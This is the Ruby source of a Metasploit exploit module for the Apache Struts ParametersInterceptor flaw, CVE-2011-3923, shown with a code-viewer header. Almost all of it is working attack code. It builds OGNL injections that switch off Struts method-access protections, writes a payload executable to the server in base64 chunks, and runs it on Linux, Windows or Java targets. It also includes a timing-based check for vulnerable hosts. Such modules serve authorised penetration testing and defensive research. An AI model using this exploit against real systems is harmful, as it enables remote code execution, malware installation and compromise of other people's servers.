195 lines
7.5 KiB
Ruby
195 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a remote command execution vulnerability in Apache Struts
|
|
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
|
|
for the use of parentheses which in turn allows it to interpret parameter values as
|
|
OGNL expressions during certain exception handling for mismatched data types of
|
|
properties which allows remote attackers to execute arbitrary Java code via a
|
|
crafted parameter.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Meder Kydyraliev', # Vulnerability Discovery and PoC
|
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
|
'mihi', #ARCH_JAVA support
|
|
'Christian Mehlmauer' # Metasploit Module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-3923'],
|
|
[ 'OSVDB', '78501'],
|
|
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
|
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
|
|
],
|
|
'Platform' => %w{ java linux win },
|
|
'Privileged' => true,
|
|
'Targets' =>
|
|
[
|
|
['Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
['Linux Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
},
|
|
]
|
|
],
|
|
'DisclosureDate' => 'Oct 01 2011',
|
|
'DefaultTarget' => 2))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
|
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
|
|
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
|
|
OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
|
|
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
|
|
])
|
|
end
|
|
|
|
def parameter
|
|
datastore['PARAMETER']
|
|
end
|
|
|
|
def temp_path
|
|
return nil unless datastore['TMP_PATH']
|
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
|
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
|
end
|
|
datastore['TMP_PATH']
|
|
end
|
|
|
|
def get_parameter
|
|
retval = {}
|
|
return retval unless datastore['GET_PARAMETERS']
|
|
splitted = datastore['GET_PARAMETERS'].split('&')
|
|
return retval if splitted.nil? || splitted.empty?
|
|
splitted.each { |item|
|
|
name, value = item.split('=')
|
|
# no check here, value can be nil if parameter is ¶m
|
|
decoded_name = name ? Rex::Text::uri_decode(name) : nil
|
|
decoded_value = value ? Rex::Text::uri_decode(value) : nil
|
|
retval[decoded_name] = decoded_value
|
|
}
|
|
retval
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
junk = Rex::Text.rand_text_alpha(6)
|
|
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
|
|
inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
|
|
uri = normalize_uri(datastore['TARGETURI'])
|
|
resp = send_request_cgi({
|
|
'uri' => uri,
|
|
'version' => '1.1',
|
|
'method' => 'GET',
|
|
'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
|
|
})
|
|
resp
|
|
end
|
|
|
|
def exploit
|
|
#Set up generic values.
|
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
|
|
|
append = false
|
|
#Now arch specific...
|
|
case target['Platform']
|
|
when 'linux'
|
|
pl_exe = generate_payload_exe
|
|
path = temp_path || '/tmp/'
|
|
payload_exe = "#{path}#{payload_exe}"
|
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
|
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
|
|
when 'java'
|
|
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
|
pl_exe = payload.encoded_jar.pack
|
|
exec_cmd = ''
|
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
|
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
|
when 'win'
|
|
pl_exe = generate_payload_exe
|
|
path = temp_path || './'
|
|
payload_exe = "#{path}#{payload_exe}.exe"
|
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
|
|
else
|
|
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
|
end
|
|
|
|
print_status("Uploading exploit to #{payload_exe}")
|
|
#Now with all the arch specific stuff set, perform the upload.
|
|
#109 = length of command string plus the max length of append.
|
|
sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
|
|
chunk_length = 2048 - sub_from_chunk
|
|
chunk_length = ((chunk_length/4).floor) * 3
|
|
while pl_exe.length > chunk_length
|
|
java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
|
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
|
append = true
|
|
end
|
|
java_upload_part(pl_exe, payload_exe, append)
|
|
print_status("Executing payload")
|
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
|
execute_command(exec_cmd)
|
|
register_files_for_cleanup(payload_exe)
|
|
end
|
|
|
|
def java_upload_part(part, filename, append = false)
|
|
cmd = ""
|
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
|
cmd << "#f.close()"
|
|
execute_command(cmd)
|
|
end
|
|
|
|
def check
|
|
sleep_time = datastore['CHECK_SLEEPTIME']
|
|
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
|
|
t1 = Time.now
|
|
vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
|
|
response = execute_command(check_cmd)
|
|
t2 = Time.now
|
|
delta = t2 - t1
|
|
|
|
if response.nil?
|
|
return Exploit::CheckCode::Safe
|
|
elsif delta < sleep_time
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
end
|